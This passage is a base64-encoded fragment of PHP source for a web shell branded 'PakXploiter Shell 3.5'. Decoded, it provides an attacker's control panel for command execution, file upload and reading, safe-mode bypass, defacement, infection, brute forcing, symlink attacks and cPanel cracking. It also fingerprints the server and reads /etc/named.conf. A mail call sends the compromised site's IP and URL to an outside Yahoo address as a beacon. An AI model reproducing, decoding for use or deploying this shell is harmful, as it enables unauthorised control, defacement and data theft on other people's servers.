m9uZTsiPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnYSddKT8kX1BPU1RbJ2EnXTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydwMiddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk6JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddKTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KICAgIDwvZm9ybT4nOwogICAgJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiAgICAkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiAgICAkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7CiAgICAkZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwogICAgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAkdWlkID0gQGdldG15dWlkKCk7CiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgICAgICRncm91cCA9ICI/IjsKICAgIH0gZWxzZSB7CiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwogICAgICAgICR1c2VyID0gJHVpZFsnbmFtZSddOwogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAgICAgJGdpZCA9ICRnaWRbJ2dpZCddOwogICAgfQogICAgJGN3ZF9saW5rcyA9ICcnOwogICAgJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKICAgICRuPWNvdW50KCRwYXRoKTsKICAgIGZvcigkaT0wOyRpPCRuLTE7JGkrKykgewogICAgICAgICRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKICAgICAgICBmb3IoJGo9MDskajw9JGk7JGorKykKICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwogICAgICAgICRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsKICAgIH0KICAgICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOwogICAgJG9wdF9jaGFyc2V0cyA9ICcnOwogICAgZm9yZWFjaCgkY2hhcnNldHMgYXMgJGl0ZW0pCiAgICAgICAgJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOwogICAgJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0V4ZWMnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnQ2dpU2hlbGwnPT4nQ2dpU2hlbGwnLCdCeXBhc3Nlcic9PidTYWZlTW9kZScsJ1NhZmUgTW9kZSc9PidCeXBhc3MnLCdEZWZhY2UnID0+ICdEZWZhY2UnLCAnSW5mZWN0JyA9PiAnSW5mZWN0JywnTEZJJz0+J2xmaXNjYW4nLCdQbC5TeW0nID0+ICdQU3ltbGluaycsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ0JydXRlJz0+J0JydXRlZm9yY2UnLCdDb25uZWN0Jz0+J05ldHdvcmsnLCdSZWFkYWJsZSc9PidSZWFkYWJsZScsJ1BvcnQgU2Nhbm5lcic9PidQb3J0U2Nhbm5lcicsJ1N5bWxpbmsnPT4nU3ltbGluaycsJ0luamVjdG9yJz0+J0luamVjdG9yJywnRG9tYWluJyA9PiAnRG9tYWluJywgJ2NQQ3JhYycgPT4gJ0NwYW5lbCcsICdab25lLWgnID0+ICdaSHBvc3RlcicpOwogICAgaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpCiAgICAkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsKICAgICRtWydLaWxsJ10gPSAnU2VsZlJlbW92ZSc7CiAgICAkbWVudSA9ICcnOwogICAgZm9yZWFjaCgkbSBhcyAkayA9PiAkdikKICAgICAgICAkbWVudSAuPSAnPHRoPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPjwvdGg+JzsKICAgICRkcml2ZXMgPSAiIjsKICAgIGlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewogICAgICAgIGZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApewogICAgICAgICAgICBpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpCiAgICAgICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiAgICAgICAgfQogICAgICAgICRkcml2ZXMgLj0gJzxiciAvPjogJzsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7CiAgICAgICAgJGRvbWluaW9zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKICAgICAgICBpZighJGRvbWluaW9zKSB7CiAgICAgICAgICAgICRkMGMgPSAiQ0FOVCBSRUFEIG5hbWVkLmNvbmYiOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIEBwcmVnX21hdGNoX2FsbCgnLy4qP3pvbmUgIiguKj8pIiB7LycsICRkb21pbmlvcywgJG91dCk7CiAgICAgICAgICAgICRvdXQgPSBzaXplb2YoYXJyYXlfdW5pcXVlKCRvdXRbMV0pKTsKICAgICAgICAgICAgJGQwYyA9ICRvdXQuIiAgRG9tYWlucyI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAkZDBjID0gIiAtLS0gIjsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkKICAgIHsKICAgICAgICAkdXNlZmwgPSAnJzsgJGR3bmxkciA9ICcnOwogICAgICAgIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpIHsKICAgICAgICAgICAgJHRlbXAgPSBhcnJheSgpOwogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKICAgICAgICAgICAgZm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSkgeyBpZih3aGljaCgkaXRlbSkpICR0ZW1wW109ICRpdGVtOyB9CiAgICAgICAgICAgICR1c2VmbCA9IGltcGxvZGUoJywgJywkdGVtcCk7CiAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsKICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgICAgICAgIGZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMikgeyBpZih3aGljaCgkaXRlbTIpKSAkdGVtcFtdPSAkaXRlbTI7IH0KICAgICAgICAgICAgJGR3bmxkciA9IGltcGxvZGUoJywgJywkdGVtcCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHVzZWZsID0gJyAtLS0tLS0tICc7ICRkd25sZHIgPSAnIC0tLS0tLS0gJzsKICAgICAgICB9CiAgICB9IGVsc2UgeyAKICAgICAgICAkdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwogICAgfSAKICAgIGVjaG8gJzx0YWJsZSBjbGFzcz0iaW5mbyIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSIgYmdjb2xvcj0iYmxhY2siPjx0cj48dGQgd2lkdGg9IjE2MHB4Ij48aW1nIHNyYz0iJy4kaW5zaWRlX3NoZWxsX2ltYWdlX3VwLiciIGhlaWdodD0iMTAwIiB3aWR0aD0iMTAwIj48c3VwPiZyZWc7PC9zdXA+PC9kaXY+PC90ZD4KICAgICAgICAgIDx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBjbGFzcz0ibnBvYWQiPjx0cj48dGQgd2lkdGg9IjEyNXB4OyI+PHNwYW4+VW5hbWU8L3NwYW4+PC90ZD48dGQ+OiA8bm9icj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkuJzwvbm9icj48L3RkPjwvdHI+CiAgICAgICAgICA8dHI+PHRkPjxzcGFuPlVzZXI8L3NwYW4+PC90ZD48dGQ+OiAnLiR1aWQuJyAoICcuJHVzZXIuJyApIDxzcGFuPkdyb3VwOiA8L3NwYW4+ICcuJGdpZC4nICggJy4kZ3JvdXAuJyApPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+U2VydmVyPC9zcGFuPjwvdGQ+PHRkPjogJy5AZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+VXNlZnVsPC9zcGFuPjwvdGQ+PHRkPjogJy4kdXNlZmwuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkRvd25sb2FkZXJzPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHdubGRyLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5EaXNhYmxlZCBmdW5jdGlvbnM8L3NwYW4+PC90ZD48dGQ+OiAnLigkZGlzYWJsZV9mdW5jdGlvbnM/JGRpc2FibGVfZnVuY3Rpb25zOidBbGwgRnVuY3Rpb24gRW5hYmxlJykuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPicuKCRHTE9CQUxTWydvcyddID09ICd3aW4nPydEcml2ZXM8YnIgLz5Dd2QnOidDd2QnKS4nPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHJpdmVzLicnLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+Jy4KICAgICAgICAgJzx0ZCB3aWR0aD0xPjxub2JyPjxzcGFuPlNlcnZlciBJUDwvc3Bhbj48YnI+PHNwYW4+Q2xpZW50IElQPC9zcGFuPjxiciAvPjxzcGFuPkhERDwvc3Bhbj48YnIgLz48c3Bhbj5GcmVlPC9zcGFuPjxiciAvPjxzcGFuPlBIUDwvc3Bhbj48YnIgLz48c3Bhbj5TYWZlIE1vZGU8L3NwYW4+PGJyIC8+PHNwYW4+RG9tYWluczwvc3Bhbj48L25vYnI+PC90ZD4nLgogICAgICAgICAnPHRkPjxub2JyPjogJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj46ICcuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJzxiciAvPjogJy52aWV3U2l6ZSgkdG90YWxTcGFjZSkuJzxiciAvPjogJy52aWV3U2l6ZSgkZnJlZVNwYWNlKS4nICgnLihpbnQpKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKS4nJSk8YnI+OiAnLkBwaHB2ZXJzaW9uKCkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsbnVsbCxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPjxiciAvPjogJy4oJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9Jy4kY29sb3IuJzxiPk9GRjwvYj48L2ZvbnQ+JykuJzxiciAvPjogJy4kZDBjLic8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jy4KICAgICAgICAgJzwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjoxO2JhY2tncm91bmQgIzAwMDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjFweCBzb2xpZCAjYTNlOTU2O3BhZGRpbmc6MnB4OyI+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiIGNsYXNzPSJtZW51Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjoxO2JhY2tncm91bmQ6IzAwMDsiPic7Cn0KCmZ1bmN0aW9uIHByaW50Rm9vdGVyKCkgewogICAgIGdsb2JhbCAkbWVtYmVyc19tYXJxdWVlX3NwZWVkOwogICAgIGdsb2JhbCAkdXBkYXRlX21lbWJlcnM7CgogICAgJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iPGZvbnQgY29sb3I9YXF1YT5bIFdyaXRlYWJsZSBdPC9mb250PiI6Ijxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiI7CgplY2hvICc8L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46MXB4O2JhY2tncm91bmQ6IzAwMDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjFweCBzb2xpZCAjYTNlOTU2OyI+Cjx0YWJsZSBjbGFzcz0iaW5mbyIgaWQ9InRvb2xzVGJsIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4KICAgIDx0cj4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzTWFuXCcsbnVsbCxcJ21rZGlyXCcsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLHRoaXMuZi52YWx1ZSxcJ21rZmlsZVwnKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnQ29uc29sZVwnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KICAgICAgICA8dGQ+PGZvcm0gbWV0aG9kPSJwb3N0IiBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSJGaWxlc01BbiI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9InVwbG9hZEZpbGUiPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KICAgIDwvdHI+CjwvdGFibGU+PC9kaXY+PC9kaXY+CjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDojMDAwOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6MXB4IHNvbGlkICNhM2U5NTY7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPjxmb250IGNvbG9yPSJhcXVhIj5QYWtYcGxvaXRlciBTaGVsbCAzLjU8YnI+V0UgQVJFOjxtYXJxdWVlIHdpZHRoPSI2MCUiIHNjcm9sbGFtb3VudD0iJy4gJG1lbWJlcnNfbWFycXVlZV9zcGVlZCAuJyI+JyAuICR1cGRhdGVfbWVtYmVycyAuICc8L21hcnF1ZWU+PC9mb250PjwvZGl2PjwvZGl2Pgo8L2Rpdj4KPC9ib2R5PjwvaHRtbD4nOwp9CgppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KCmlmKCFpc3NldCgkX1NFU1NJT05bJ3RyaW1pdGUnXSkpewogICAgJHVybD0iPGI+SVA6PC9iPiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iXG48Yj5Vcmw6PC9iPiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iXG48Yj5Vc2VyIElQOjwvYj4gIi4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4oaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pPycoJy4kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXS4nKSc6JycpOwogICAgQG1haWwoImN5YmVyLmxlYWRlcnNAeWFob28uY29tIiwiM0NBX1NoZWxsXzIuMCIsJHVybCk7CiAgICAkX1NFU1NJT05bJ3RyaW1pdGUnXT10cnVlOwp9CgpmdW5jdGlvbiB2aWV3U2l6ZSgkcykgewogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CiAgICBlbHNlaWYoJHMgPj0gMTA0ODU3NikKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOwogICAgZWxzZWlmKCRzID49IDEwMjQpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJHMgLiAnIEInOwp9CgpmdW5jdGlvbiBwZXJtcygkcCkgewogICAgaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsKICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CiAgICBlbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsKICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CiAgICBlbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwogICAgZWxzZSAkaSA9ICd1JzsKICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKICAgIHJldHVybiAkaTsKfQoKZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsgCiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CiAgICBlbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPXJlZD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwp9CgppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsKICAgIGZ1bmN0aW9uIHNjYW5kaXIoJGRpcikgewogICAgICAgICRkaCAgPSBvcGVuZGlyKCRkaXIpOwogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpIHsKICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZmlsZXM7CiAgICB9Cn0KCmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBmdW5jdGlvbiBzaG93U2VjUGFyYW0oJG4sICR2KSB7CiAgICAgICAgJHYgPSB0cmltKCR2KTsKICAgICAgICBpZigkdikgewogICAgICAgICAgICBlY2hvICc8c3Bhbj4nLiRuLic6IDwvc3Bhbj4nOwogICAgICAgICAgICBpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkKICAgICAgICAgICAgICAgIGVjaG8gJHYuJzxicj4nOwogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLiR2Lic8L3ByZT4nOwogICAgICAgIH0KICAgIH0KICAgIAogICAgc2hvd1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7CiAgICBzaG93U2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10pPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7CiAgICBzaG93U2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOwogICAgc2hvd1NlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOwogICAgc2hvd1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOwogICAgc2hvd1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsKICAgICR0ZW1wPWFycmF5KCk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQogICAgICAgICR0ZW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkuIikiOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpCiAgICAgICAgJHRlbXBbXSA9ICJNU1NRTCI7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkKICAgICAgICAkdGVtcFtd